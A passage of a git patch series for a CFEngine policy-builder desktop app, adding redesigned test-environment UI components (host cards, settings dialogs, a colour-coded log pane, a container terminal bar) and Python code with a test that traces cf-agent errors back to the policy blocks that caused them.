onEnvChange: (env: Record) => void; + // A .env file needs a project folder. + saved: boolean; +} + +/** What every host shares: CFEngine edition, version and architecture, and environment variables. */ +export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) { + const { environment, busy, onChange } = props; + const emulated = Boolean(props.engineArch) && props.engineArch !== environment.arch; + return ( + + Test environment + + + onChange({ name: event.target.value })} /> + + onChange({ edition: event.target.value as TestEnvironment['edition'] })} + helperText={environment.edition === 'enterprise' ? 'The hub runs Mission Portal (publish port 443)' : ' '} + sx={{ flex: 1.3 }} + > + Community + Enterprise + + onChange({ arch: event.target.value as TestEnvironment['arch'] })} + helperText={emulated ? 'Emulated by Docker (slower)' : 'Native'} + sx={{ flex: 1 }} + > + x86-64 + arm64 + + onChange({ version: event.target.value.trim() || 'latest' })} + helperText="latest, or e.g. 3.27.1" + sx={{ flex: 1 }} + /> + + + onChange({ envFile: event.target.value.trim() || null })} + /> + + + + + + + + ); +} diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx index ed6b568..5b5dadb 100644 --- a/src/renderer/src/components/testenv/HostCard.tsx +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -1,51 +1,51 @@ import { useState } from 'react'; -import ContentCopyIcon from '@mui/icons-material/ContentCopy'; -import DeleteOutlineIcon from '@mui/icons-material/DeleteOutlined'; -import RestartAltIcon from '@mui/icons-material/RestartAlt'; -import { Box, Chip, IconButton, Link, MenuItem, Paper, Stack, TextField, Typography } from '@mui/material'; +import DnsOutlinedIcon from '@mui/icons-material/DnsOutlined'; +import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; +import TerminalIcon from '@mui/icons-material/Terminal'; +import { Box, CircularProgress, IconButton, Link, Paper, Stack, Typography, alpha, useTheme } from '@mui/material'; import type { HostRuntime, RunResult } from '../../project/testRuns'; -import { PLATFORMS, type PlatformSupport, type TestHost } from '../../store/testEnvironmentsSlice/types'; -import { EnvVarsField } from './EnvVarsField'; -import { PortsField } from './PortsField'; +import { PLATFORMS, type TestHost } from '../../store/testEnvironmentsSlice/types'; -const STATES: Record = { - absent: { color: 'default', label: 'Not created' }, - created: { color: 'default', label: 'Created' }, - exited: { color: 'default', label: 'Stopped' }, - provisioning: { color: 'info', label: 'Setting up…' }, - ready: { color: 'success', label: 'Ready' }, - running: { color: 'info', label: 'Running policy…' }, - done: { color: 'success', label: 'Done' }, - failed: { color: 'error', label: 'Failed' } +type Tone = 'error' | 'info' | 'muted' | 'success' | 'warning'; +const STATES: Record = { + absent: { tone: 'muted', label: 'Not created' }, + created: { tone: 'muted', label: 'Created' }, + exited: { tone: 'muted', label: 'Stopped' }, + provisioning: { tone: 'info', label: 'Setting up' }, + ready: { tone: 'success', label: 'Ready' }, + running: { tone: 'info', label: 'Running' }, + done: { tone: 'success', label: 'Converged' }, + failed: { tone: 'error', label: 'Failed' } }; +// The pill: what the host is, from its state and last run. +function statusOf(runtime: HostRuntime | undefined, result: RunResult | undefined): { label: string; tone: Tone } { + const state = STATES[runtime?.state ?? 'absent'] ?? { tone: 'muted' as const, label: runtime?.state ?? '' }; + if (runtime?.state !== 'done' || !result) return state; + if ((result.notKept ?? 0) > 0) return { tone: 'warning', label: 'Not kept' }; + return runtime.converged ? state : { tone: 'warning', label: 'Still repairing' }; +} + export interface HostCardProps { - busy: boolean; - canRemove: boolean; host: TestHost; hub: { setupCode: string | null; url: string | null } | null; isHub: boolean; lastResult?: RunResult; - onChange: (changes: Partial>) => void; - onMakeHub: () => void; - onRemove: () => void; - onRename: (name: string) => void; - onReset: () => void; - // Host ports other hosts publish. - otherPorts: Set; + onOpenSettings: () => void; runtime?: HostRuntime; - // Which platforms have packages for this edition, version and architecture (null: unknown). - support: PlatformSupport | null; } -/** One test host: what it is, how it's set up, and how its last run went. */ -export function HostCard(props: HostCardProps) { - const { host, runtime, isHub, busy, lastResult, hub } = props; +/** One test host, status first: what it runs, its state, and how to reach it. Settings are behind the gear. */ +export function HostCard({ host, hub, isHub, lastResult, onOpenSettings, runtime }: HostCardProps) { + const theme = useTheme(); const [copied, setCopied] = useState(false); - const state = STATES[runtime?.state ?? 'absent'] ?? { color: 'default' as const, label: runtime?.state ?? '' }; + const status = statusOf(runtime, lastResult); + const color = status.tone === 'muted' ? theme.palette.text.secondary : theme.palette[status.tone].main; + const busy = runtime?.state === 'provisioning' || runtime?.state === 'running'; const exists = Boolean(runtime?.container) && runtime?.state !== 'absent'; + const platform = PLATFORMS.find(item => item.id === host.platform)?.label ?? host.platform; const copyShell = () => { if (!runtime?.container) return; @@ -56,88 +56,95 @@ export function HostCard(props: HostCardProps) { }; return ( - - - - props.onRename(event.target.value)} - sx={{ width: 140 }} - slotProps={{ htmlInput: { maxLength: 40 } }} - /> - props.onChange({ platform: event.target.value })} - sx={{ width: 210 }} + + + + + + + + {host.name} + + {isHub ? 'HUB' : 'CLIENT'} + + + + {busy ? : } + {status.label} + + + - {PLATFORMS.map(platform => { - const known = props.support?.[platform.id]; - const missing = known && !(isHub ? known.hub : known.client); - return ( - - {platform.label} - {missing && ( - - {isHub && known.client ? 'no hub package' : 'no package'} - - )} - - ); - })} - - - - - - - - - - - - - - - {lastResult && ( - 0 ? 'warning.main' : 'text.secondary' }}> - Run {lastResult.run}: {lastResult.kept ?? '?'}% kept · {lastResult.repaired ?? '?'}% repaired · {lastResult.notKept ?? '?'}% not kept - {runtime?.state === 'done' && - ((lastResult.notKept ?? 0) > 0 ? ' — some promises not kept (see the log)' : runtime.converged ? ' — converged' : ' — still repairing')} - {lastResult.exit !== 0 && ` — cf-agent exited ${lastResult.exit}`} + {busy && runtime?.step ? runtime.step : [platform, runtime?.ip].filter(Boolean).join(' · ')} - )} - {isHub && hub && ( - - Mission Portal:{' '} - {hub.url ? ( - - {hub.url} - - ) : ( - 'publish container port 443 to open it' - )} - {hub.setupCode && ( - <> - {' '} - · first-login setup code {hub.setupCode} - - )} + + + {lastResult && !busy && ( + + + + + + + + {lastResult.kept ?? '?'}% kept · {lastResult.repaired ?? '?'}% repaired · {lastResult.notKept ?? '?'}% not kept + {lastResult.exit !== 0 && ` · cf-agent exited ${lastResult.exit}`} - )} - props.onChange({ ports })} /> - props.onChange({ env })} /> + + )} + + + {host.ports.map(port => ( + + localhost:{port.host} + + ))} + {isHub && hub?.setupCode && ( + + setup code {hub.setupCode} + + )} + {host.ports.length === 0 && !hub?.setupCode && No published ports} + + + + + + + ); diff --git a/src/renderer/src/components/testenv/HostSettingsDialog.tsx b/src/renderer/src/components/testenv/HostSettingsDialog.tsx new file mode 100644 index 0000000..791a121 --- /dev/null +++ b/src/renderer/src/components/testenv/HostSettingsDialog.tsx @@ -0,0 +1,118 @@ +import { + Button, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + MenuItem, + Stack, + TextField, + ToggleButton, + ToggleButtonGroup, + Typography +} from '@mui/material'; + +import { PLATFORMS, type PlatformSupport, type TestHost } from '../../store/testEnvironmentsSlice/types'; +import { EnvVarsField } from './EnvVarsField'; +import { PortsField } from './PortsField'; + +export interface HostSettingsDialogProps { + busy: boolean; + canRemove: boolean; + exists: boolean; + host: TestHost; + isHub: boolean; + onChange: (changes: Partial>) => void; + onClose: () => void; + onMakeHub: () => void; + onRemove: () => void; + onRename: (name: string) => void; + onReset: () => void; + // Host ports other hosts publish. + otherPorts: Set; + // Which platforms have packages for this edition, version and architecture (null: unknown). + support: PlatformSupport | null; +} + +/** A host's settings: name, platform, role, ports and environment variables; Reset and Remove. */ +export function HostSettingsDialog(props: HostSettingsDialogProps) { + const { host, isHub, busy } = props; + return ( + + Host settings + + + + props.onRename(event.target.value)} + helperText="Letters, digits and dashes" + slotProps={{ htmlInput: { maxLength: 40 } }} + sx={{ flex: 1 }} + /> + props.onChange({ platform: event.target.value })} + sx={{ flex: 1.4 }} + > + {PLATFORMS.map(platform => { + const known = props.support?.[platform.id]; + const missing = known && !(isHub ? known.hub : known.client); + return ( + + {platform.label} + {missing && ( + + {isHub && known.client ? 'no hub package' : 'no package'} + + )} + + ); + })} + + + + Role + value === 'hub' && props.onMakeHub()} + > + + Hub — serves the policy + + + Client + + + + props.onChange({ ports })} /> + props.onChange({ env })} /> + Changing the platform or ports recreates the container on the next run. + + + + + + + + + + + ); +} diff --git a/src/renderer/src/components/testenv/HostTabs.tsx b/src/renderer/src/components/testenv/HostTabs.tsx new file mode 100644 index 0000000..f7cc996 --- /dev/null +++ b/src/renderer/src/components/testenv/HostTabs.tsx @@ -0,0 +1,57 @@ +import { Box, ButtonBase, alpha, useTheme } from '@mui/material'; + +import type { TestHost } from '../../store/testEnvironmentsSlice/types'; +import { hostColor } from './hostColors'; + +/** + * Segmented host picker: "All" plus one tab per host. Single choice for the log; + * several for the terminal (`multiple`), where none chosen means all. + */ +export function HostTabs({ + allLabel, + hosts, + multiple, + onChange, + selected +}: { + allLabel: string; + hosts: TestHost[]; + multiple?: boolean; + onChange: (selected: string[]) => void; + selected: string[]; +}) { + const theme = useTheme(); + const all = selected.length === 0; + const toggle = (id: string) => { + if (!multiple) return onChange([id]); + const next = selected.includes(id) ? selected.filter(item => item !== id) : [...selected, id]; + onChange(next.length === hosts.length ? [] : next); + }; + const tab = (key: string, label: string, active: boolean, onClick: () => void, color?: string) => ( + + {color && } + {label} + + ); + return ( + + {tab('all', allLabel, all, () => onChange([]))} + {hosts.map((host, index) => tab(host.id, host.name, !all && selected.includes(host.id), () => toggle(host.id), hostColor(theme, index)))} + + ); +} diff --git a/src/renderer/src/components/testenv/LogPane.tsx b/src/renderer/src/components/testenv/LogPane.tsx index d4c7a38..6a63739 100644 --- a/src/renderer/src/components/testenv/LogPane.tsx +++ b/src/renderer/src/components/testenv/LogPane.tsx @@ -1,88 +1,207 @@ -import { useEffect, useRef, useState } from 'react'; +import { useEffect, useMemo, useRef, useState } from 'react'; -import { Box, Button, MenuItem, Stack, TextField, ToggleButton, ToggleButtonGroup, Typography } from '@mui/material'; +import ChevronRightIcon from '@mui/icons-material/ChevronRight'; +import ContentCopyIcon from '@mui/icons-material/ContentCopy'; +import DeleteSweepOutlinedIcon from '@mui/icons-material/DeleteSweepOutlined'; +import SearchIcon from '@mui/icons-material/Search'; +import { Box, IconButton, InputAdornment, Stack, TextField, Typography, alpha, useTheme } from '@mui/material'; import type { LogLine } from '../../project/testRuns'; import type { TestHost } from '../../store/testEnvironmentsSlice/types'; +import { HostTabs } from './HostTabs'; +import { hostColor } from './hostColors'; -/** The environment's streamed log: every host or one, setup and/or agent output. */ +type Tone = 'change' | 'error' | 'plain' | 'report' | 'step' | 'warning'; + +// What a line is, for its colour and badge: agent reports (R:), errors, warnings, changes the agent made (info:). +function toneOf(line: LogLine): Tone { + if (line.kind === 'error' || /\berror:/.test(line.text)) return 'error'; + if (line.kind === 'step') return 'step'; + if (/\bwarning:/.test(line.text)) return 'warning'; + if (/^R: /.test(line.text)) return 'report'; + if (line.kind === 'agent' && /^\s*info:/.test(line.text)) return 'change'; + return 'plain'; +} + +const BADGES: Partial> = { error: 'ERROR', warning: 'WARNING', report: 'REPORT', change: 'CHANGED' }; + +type Entry = { kind: 'line'; line: LogLine } | { host?: string | null; key: string; kind: 'setup'; lines: LogLine[] }; + +// Consecutive setup output of one host folds into one row. +function entriesOf(lines: LogLine[]): Entry[] { + const entries: Entry[] = []; + lines.forEach((line, index) => { + const last = entries.at(-1); + if (line.kind === 'setup' && toneOf(line) === 'plain') { + if (last?.kind === 'setup' && last.host === line.host) last.lines.push(line); + else entries.push({ kind: 'setup', host: line.host, key: `setup-${index}`, lines: [line] }); + } else entries.push({ kind: 'line', line }); + }); + return entries; +} + +const clock = (time: number) => new Date(time).toLocaleTimeString([], { hour12: false }); + +/** The environment's log: per host or all, coloured by host and by what each line is. */ export function LogPane({ hosts, lines, onClear }: { hosts: TestHost[]; lines: LogLine[]; onClear: () => void }) { - const [host, setHost] = useState('all'); - const [kinds, setKinds] = useState(['setup', 'agent']); + const theme = useTheme(); + const [selected, setSelected] = useState([]); + const [filter, setFilter] = useState(''); + const [open, setOpen] = useState>(new Set()); const end = useRef(null); - const nameOf = new Map(hosts.map(item => [item.id, item.name])); - const shown = lines.filter( - line => (host === 'all' || !line.host || line.host === host) && (line.kind === 'step' || line.kind === 'error' || kinds.includes(line.kind)) - ); + const indexOf = new Map(hosts.map((host, index) => [host.id, index])); + const nameOf = new Map(hosts.map(host => [host.id, host.name])); + + const shown = useMemo(() => { + const query = filter.trim().toLowerCase(); + return lines.filter(line => (selected.length === 0 || !line.host || selected.includes(line.host)) && (!query || line.text.toLowerCase().includes(query))); + }, [lines, selected, filter]); + const entries = useMemo(() => entriesOf(shown), [shown]); useEffect(() => { end.current?.scrollIntoView({ block: 'end' }); }, [shown.length]); - const text = shown.map(line => `${line.host ? `[${nameOf.get(line.host) ?? line.host}] ` : ''}${line.text}`).join('\n'); + const text = shown.map(line => `${clock(line.time)} ${line.host ? `[${nameOf.get(line.host) ?? line.host}] ` : ''}${line.text}`).join('\n'); + const toneColor: Record = { + error: theme.palette.error.main, + warning: theme.palette.warning.main, + report: theme.palette.success.main, + change: theme.palette.info.main, + step: theme.palette.primary.main, + plain: 'transparent' + }; + + const hostTag = (host?: string | null) => { + if (!host) return ; + const color = hostColor(theme, indexOf.get(host) ?? 0); + return ( + + {nameOf.get(host) ?? host} + + ); + }; return ( - Log - setHost(event.target.value)} sx={{ width: 150 }}> - All hosts - {hosts.map(item => ( - - {item.name} - - ))} - - setKinds(value)}> - - Setup - - - Agent - - + setSelected(next)} /> - - + setFilter(event.target.value)} + sx={{ width: 220 }} + slotProps={{ + input: { + startAdornment: ( + + + + ) + } + }} + /> + void navigator.clipboard.writeText(text)}> + + + + + - {shown.length === 0 && Nothing yet: Start the environment, then Run policy.} - {shown.map((line, index) => ( - - {line.host && ( - - [{nameOf.get(line.host) ?? line.host}]{' '} + {entries.length === 0 && ( + Nothing yet: Run test to start the hosts and run the policy. + )} + {entries.map(entry => { + if (entry.kind === 'setup') { + const expanded = open.has(entry.key); + return ( + + setOpen(current => new Set(expanded ? [...current].filter(key => key !== entry.key) : [...current, entry.key]))} + sx={{ alignItems: 'center', cursor: 'pointer', mx: 0.75, my: 0.25, px: 0.75, py: 0.25, borderRadius: 0.5, bgcolor: 'action.hover' }} + > + + + {clock(entry.lines[0].time)} + + {hostTag(entry.host)} + + Container setup — {entry.lines.length} {entry.lines.length === 1 ? 'line' : 'lines'} + + + {expanded && + entry.lines.map((line, index) => ( + + {line.text} + + ))} + + ); + } + const { line } = entry; + const tone = toneOf(line); + const color = toneColor[tone]; + const badge = BADGES[tone]; + return ( + + + {clock(line.time)} + + {hostTag(line.host)} + {badge && ( + + {badge} + + )} + + {tone === 'report' ? line.text.slice(3) : line.text} - )} - {line.text} - - ))} + + ); + })}
diff --git a/src/renderer/src/components/testenv/TerminalBar.tsx b/src/renderer/src/components/testenv/TerminalBar.tsx new file mode 100644 index 0000000..2339fbb --- /dev/null +++ b/src/renderer/src/components/testenv/TerminalBar.tsx @@ -0,0 +1,51 @@ +import { useState } from 'react'; + +import PlayArrowIcon from '@mui/icons-material/PlayArrow'; +import { Button, InputAdornment, Stack, TextField } from '@mui/material'; + +import type { TestHost } from '../../store/testEnvironmentsSlice/types'; +import { HostTabs } from './HostTabs'; + +/** Runs a shell command on the chosen hosts (none chosen: all); the output goes into the log. */ +export function TerminalBar({ disabled, hosts, onRun }: { disabled: boolean; hosts: TestHost[]; onRun: (command: string, hosts: string[]) => void }) { + const [selected, setSelected] = useState([]); + const [command, setCommand] = useState(''); + const [history, setHistory] = useState([]); + const [back, setBack] = useState(-1); + const run = () => { + const text = command.trim(); + if (!text || disabled) return; + onRun(text, selected); + setHistory(current => [text, ...current.filter(item => item !== text)].slice(0, 50)); + setBack(-1); + setCommand(''); + }; + return ( + + + setCommand(event.target.value)} + onKeyDown={event => { + if (event.key === 'Enter') run(); + if (event.key === 'ArrowUp' || event.key === 'ArrowDown') { + const next = Math.max(-1, Math.min(history.length - 1, back + (event.key === 'ArrowUp' ? 1 : -1))); + setBack(next); + setCommand(next === -1 ? '' : history[next]); + event.preventDefault(); + } + }} + slotProps={{ + htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 }, spellCheck: false }, + input: { startAdornment: $ } + }} + /> + + + ); +} diff --git a/src/renderer/src/components/testenv/hostColors.ts b/src/renderer/src/components/testenv/hostColors.ts new file mode 100644 index 0000000..021b2a5 --- /dev/null +++ b/src/renderer/src/components/testenv/hostColors.ts @@ -0,0 +1,11 @@ +import type { Theme } from '@mui/material'; + +// Distinct hues (the theme's primary and secondary are both navy): readable on light and dark. +const LIGHT = ['#2563eb', '#7c3aed', '#0d9488', '#c2410c', '#be185d', '#4d7c0f']; +const DARK = ['#60a5fa', '#a78bfa', '#2dd4bf', '#fb923c', '#f472b6', '#a3e635']; + +// A steady colour per host (by position), for its log tag and selection chips. +export function hostColor(theme: Theme, index: number): string { + const palette = theme.palette.mode === 'dark' ? DARK : LIGHT; + return palette[index % palette.length]; +} diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index 390fa00..68f7856 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -16,11 +16,16 @@ type TestEnvEvent = Parameters[0]>[1]; export interface LogLine { host?: string | null; - // "step" lines are the runner's own progress; "setup" and "agent" are command output. - kind: 'agent' | 'error' | 'setup' | 'step'; + // "step" lines are the runner's own progress; "setup", "agent" and "exec" (the terminal) are + // command output; "command" is a terminal command as typed. + kind: 'agent' | 'command' | 'error' | 'exec' | 'setup' | 'step'; text: string; + // When it arrived (ms). + time: number; } +const KIND_OF_STREAM: Record = { agent: 'agent', exec: 'exec', command: 'command' }; + export interface RunResult { exit: number; host: string; @@ -33,9 +38,14 @@ export interface RunResult { export interface HostRuntime { container?: string; converged?: boolean; + ip?: string | null; state: string; + // What it's doing right now ("Bootstrapping to …", "Run 2 of 3"), while busy. + step?: string; } +const BUSY_STATES = new Set(['provisioning', 'running']); + export interface EnvironmentRuntime { action: Action | null; error: string | null; @@ -63,7 +73,9 @@ function update(environmentId: string, change: (runtime: EnvironmentRuntime) => for (const listener of listeners) listener(); } -const appended = (runtime: EnvironmentRuntime, ...lines: LogLine[]) => ({ lines: [...runtime.lines, ...lines].slice(-MAX_LINES) }); +const appended = (runtime: EnvironmentRuntime, ...lines: Omit[]) => ({ + lines: [...runtime.lines, ...lines.map(line => ({ ...line, time: Date.now() }))].slice(-MAX_LINES) +}); function handle(runId: string, event: TestEnvEvent) { const environmentId = environmentOfRun.get(runId); @@ -71,25 +83,34 @@ function handle(runId: string, event: TestEnvEvent) { update(environmentId, runtime => { switch (event.t) { case 'log': - return appended(runtime, { host: event.host, kind: event.stream === 'agent' ? 'agent' : 'setup', text: event.line }); - case 'step': - return appended(runtime, { host: event.host, kind: 'step', text: event.message }); - case 'host': + return appended(runtime, { host: event.host, kind: KIND_OF_STREAM[event.stream ?? ''] ?? 'setup', text: event.line }); + case 'step': { + const host = event.host ? runtime.hosts[event.host] : undefined; + const hosts = event.host ? { ...runtime.hosts, [event.host]: { state: 'provisioning', ...host, step: event.message } } : runtime.hosts; + return { ...appended(runtime, { host: event.host, kind: 'step', text: event.message }), hosts }; + } + case 'host': { + const known = runtime.hosts[event.host]; return { hosts: { ...runtime.hosts, [event.host]: { - ...runtime.hosts[event.host], + ...known, state: event.state, - container: event.container ?? runtime.hosts[event.host]?.container, - converged: event.converged + container: event.container ?? known?.container, + ip: event.ip ?? known?.ip, + converged: event.converged, + step: BUSY_STATES.has(event.state) ? known?.step : undefined } } }; + } case 'result': return { results: [...runtime.results, event] }; case 'hub': return { hub: { setupCode: event.setup_code, url: event.url } }; + case 'exec': + return event.exit === 0 ? {} : appended(runtime, { host: event.host, kind: 'error', text: `exit ${event.exit}` }); case 'error': return { ...appended(runtime, { kind: 'error', text: event.message }), error: event.message }; case 'exit': @@ -123,13 +144,13 @@ export function useEnvironmentRuntime(environmentId: string): EnvironmentRuntime export async function startAction(environment: TestEnvironment, action: Action, request: Request): Promise { if (!window.api) return; subscribe(() => {}); - const label = { up: 'Start', run: 'Run policy', stop: 'Stop', destroy: 'Destroy', pull: 'Pull' }[action]; + const label = { up: 'Start', run: 'Run policy', test: 'Run test', exec: 'Command', stop: 'Stop', destroy: 'Destroy', pull: 'Pull' }[action]; update(environment.id, runtime => ({ - ...appended(runtime, { kind: 'step', text: `── ${label} ──` }), + ...(action === 'exec' ? {} : appended(runtime, { kind: 'step', text: `── ${label} ──` })), action, error: null, outcome: null, - results: action === 'run' ? [] : runtime.results + results: action === 'run' || action === 'test' ? [] : runtime.results })); try { const runId = await window.api.testEnvStart(action, request); @@ -159,7 +180,7 @@ export async function refreshStatus(environment: TestEnvironment, request: Reque const keep = docker.state === 'running' && known && ['done', 'failed', 'ready'].includes(known.state); // Docker's "running" is the container being up, not the agent running: Ready. const state = docker.state === 'running' ? 'ready' : docker.state; - return [id, keep ? { ...known, container: docker.container } : { state, container: docker.container }]; + return [id, keep ? { ...known, container: docker.container, ip: docker.ip } : { state, container: docker.container, ip: docker.ip }]; }) ) })); From 1db93dd28d11b033f1c0e8bf32f36db3dc66f5b2 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 15:01:35 +0300 Subject: [PATCH 032/141] Test runs list their problems, traced to the blocks that caused them MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After each run the sidecar maps every cf-agent error of a host's last pass to its block via the compiler's source map ("Promise belongs to … near line N"), with the info lines before it as the cause. A Problems panel above the log lists them with Show block / Show in log, host cards count them, and failing blocks get a badge on the canvas. The card's terminal icon now points the terminal at the host; host pickers become dropdowns with many hosts. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 101 ++++++++++++++++-- python/tests/test_testenv.py | 36 +++++++ src/preload/api.d.ts | 13 +++ src/renderer/src/components/BlockCard.tsx | 27 ++++- src/renderer/src/components/FlowCanvas.tsx | 12 ++- .../src/components/TestResultsView.tsx | 40 ++++++- .../src/components/testenv/HostCard.tsx | 24 ++--- .../components/testenv/HostSettingsDialog.tsx | 32 ++++++ .../src/components/testenv/HostTabs.tsx | 39 ++++++- .../src/components/testenv/LogPane.tsx | 27 ++++- .../src/components/testenv/ProblemsPanel.tsx | 81 ++++++++++++++ .../src/components/testenv/TerminalBar.tsx | 24 ++++- src/renderer/src/pages/ProjectView.tsx | 25 ++++- src/renderer/src/project/testRuns.ts | 34 +++++- 14 files changed, 471 insertions(+), 44 deletions(-) create mode 100644 src/renderer/src/components/testenv/ProblemsPanel.tsx diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index d07ef00..a570ba6 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -325,8 +325,8 @@ def read_dotenv(path: str | None) -> dict[str, str]: class _Lines: """Turns streamed output chunks into whole lines, emitted as `log` events.""" - def __init__(self, host: str | None, stream: str): - self.host, self.stream, self.partial = host, stream, "" + def __init__(self, host: str | None, stream: str, keep: list[str] | None = None): + self.host, self.stream, self.partial, self.keep = host, stream, "", keep def feed(self, chunk: bytes | str | None) -> None: if not chunk: @@ -334,18 +334,25 @@ def feed(self, chunk: bytes | str | None) -> None: text = self.partial + (chunk.decode("utf-8", "replace") if isinstance(chunk, bytes) else chunk) *lines, self.partial = text.split("\n") for line in lines: - emit("log", host=self.host, stream=self.stream, line=line.rstrip("\r")) + self.line(line.rstrip("\r")) + + def line(self, line: str) -> None: + emit("log", host=self.host, stream=self.stream, line=line) + if self.keep is not None: + self.keep.append(line) def close(self) -> None: if self.partial: - emit("log", host=self.host, stream=self.stream, line=self.partial) + self.line(self.partial) self.partial = "" -def run_in(engine, container, command: str, host: str | None, stream: str, environment: dict | None = None) -> int: - """Runs a shell command in a container, streaming its output; returns its exit code.""" +def run_in( + engine, container, command: str, host: str | None, stream: str, environment: dict | None = None, keep=None +) -> int: + """Runs a shell command in a container, streaming its output (also into `keep`); returns its exit code.""" exec_id = engine.api.exec_create(container.id, ["bash", "-lc", command], environment=environment or None)["Id"] - lines = _Lines(host, stream) + lines = _Lines(host, stream, keep) for out, err in engine.api.exec_start(exec_id, stream=True, demux=True): lines.feed(out) lines.feed(err) @@ -581,6 +588,70 @@ def _setup_code(engine, hub, hub_host: dict) -> None: ) +# cf-agent's own location for what it's reporting on, e.g. +# "info: Promise belongs to bundle 'x' in file '/var/cfengine/inputs/services/cfbs/security.cf' near line 74". +BELONGS = re.compile(r"Promise belongs to bundle '([^']+)' in file '([^']+)' near line (\d+)") +# Roll-ups of an error already reported on its own line. +ROLLUP = re.compile(r"Method '[^']+' failed in some repairs|Errors encountered when actuating|Not all promises") +INPUTS = "/var/cfengine/inputs/services/cfbs/" + + +def _where(file: str) -> str | None: + """A deployed policy file's path in the project ("./security.cf"), if it's one of ours.""" + return "./" + file[len(INPUTS) :] if file.startswith(INPUTS) else None + + +def find_problems(lines: list[str], source_map: dict, block_files: dict) -> list[dict]: + """The errors of one agent run, each with what caused it (the info lines just before) and the + block it comes from (cf-agent's file and line, through the compiler's source map).""" + problems: dict[tuple, dict] = {} + context: list[str] = [] + location: tuple[str, str, int] | None = None + for raw in lines: + line = raw.strip() + belongs = BELONGS.search(line) + if belongs: + location = (belongs.group(1), belongs.group(2), int(belongs.group(3))) + continue + if line.startswith("info:"): + context.append(line[len("info:") :].strip()) + context = context[-4:] + continue + if not line.startswith("error:"): + continue + message = line[len("error:") :].strip() + if ROLLUP.search(message) and problems: + continue + path = _where(location[1]) if location else None + block = _block_at(source_map.get(path or "", {}), location[2]) if path and location else None + key = (block or (location and location[1:]) or None, message) + if key in problems: + problems[key]["count"] += 1 + else: + problems[key] = { + "message": message, + "cause": list(dict.fromkeys(c for c in context if c != message)), + "count": 1, + "block": block, + "fileId": block_files.get(block) if block else None, + "bundle": location[0] if location else None, + "file": path or (location[1] if location else None), + "line": location[2] if location else None, + } + context, location = [], None + return list(problems.values()) + + +def _block_at(ranges_by_block: dict, line: int) -> str | None: + """The block (or group) whose lines hold `line`: the narrowest range wins.""" + best, size = None, None + for block, ranges in ranges_by_block.items(): + for first, last in ranges: + if first <= line <= last and (size is None or last - first < size): + best, size = block, last - first + return best + + def _compliance(engine, container) -> dict | None: command = "grep -v 'version update.cf' /var/cfengine/promise_summary.log | tail -n 1" exec_id = engine.api.exec_create(container.id, ["bash", "-c", command])["Id"] @@ -604,6 +675,17 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) _deploy(engine, containers[hub_host["id"]], masterfiles_dir) + # Where each block's lines are, to trace errors back to blocks. + from cfpb_compiler import compile_project + + source_map: dict = {} + project = request["content"]["project"] + compile_project(project, source_map=source_map) + block_files = { + item: file["id"] + for file in project.get("files", []) + for item in [b["instanceId"] for b in file.get("blocks", [])] + [g["id"] for g in file.get("groups", [])] + } dotenv = read_dotenv(request.get("envFile")) only = set(request.get("hosts") or [h["id"] for h in hosts]) for host in sorted(hosts, key=lambda h: h is not hub_host): @@ -615,11 +697,14 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: for number in range(1, MAX_RUNS + 1): emit("step", host=host["id"], step="run", message=f"Run {number} of {MAX_RUNS}") run_in(engine, container, f"{CFENGINE}/cf-agent -KI -f update.cf", host["id"], "agent", environment) - code = run_in(engine, container, f"{CFENGINE}/cf-agent -KI", host["id"], "agent", environment) + output: list[str] = [] + code = run_in(engine, container, f"{CFENGINE}/cf-agent -KI", host["id"], "agent", environment, output) result = {**(_compliance(engine, container) or {}), "exit": code, "run": number} emit("result", host=host["id"], **result) if code != 0 or result.get("repaired", 0) == 0: break + # What went wrong in the last pass (earlier passes may have been fixed by later ones). + emit("problems", host=host["id"], problems=find_problems(output if result else [], source_map, block_files)) # Done unless the agent itself failed; still repairing after MAX_RUNS is "not converged" (an # Enterprise hub repairs a little on every run). converged = bool(result) and result["exit"] == 0 and result.get("repaired", 1) == 0 diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index b3f606d..f9c65f3 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -132,3 +132,39 @@ def test_platforms_say_which_have_client_and_hub_packages(monkeypatch): assert support["ubuntu-20"] == (True, False) assert support["rhel-7"] == (True, False) assert support["rhel-9"] == (True, True) + + +def test_errors_are_traced_back_to_the_block_that_made_them(): + lines = [ + " info: Could not get GID for group 'shadow', (getgrnam: not found)", + " info: Promise belongs to bundle 'security_account_protection' in file " + "'/var/cfengine/inputs/services/cfbs/security.cf' near line 74", + " error: None of the promised groups for '/etc/shadow' exist -- see INFO logs for more", + " info: Could not get GID for group 'shadow', (getgrnam: not found)", + " info: Promise belongs to bundle 'security_account_protection' in file " + "'/var/cfengine/inputs/services/cfbs/security.cf' near line 74", + " error: None of the promised groups for '/etc/shadow' exist -- see INFO logs for more", + " error: Errors encountered when actuating files promise '/etc/shadow'", + "R: Web server provisioning complete", + ] + source_map = {"./security.cf": {"group": [[60, 90]], "shadow-block": [[70, 76]]}} + + [problem] = cfpb_testenv.find_problems(lines, source_map, {"shadow-block": "file-1"}) + + assert problem["block"] == "shadow-block" + assert problem["fileId"] == "file-1" + assert problem["count"] == 2 + assert problem["message"].startswith("None of the promised groups for '/etc/shadow' exist") + assert problem["cause"] == ["Could not get GID for group 'shadow', (getgrnam: not found)"] + + +def test_errors_outside_the_project_keep_their_own_location(): + lines = [ + " info: 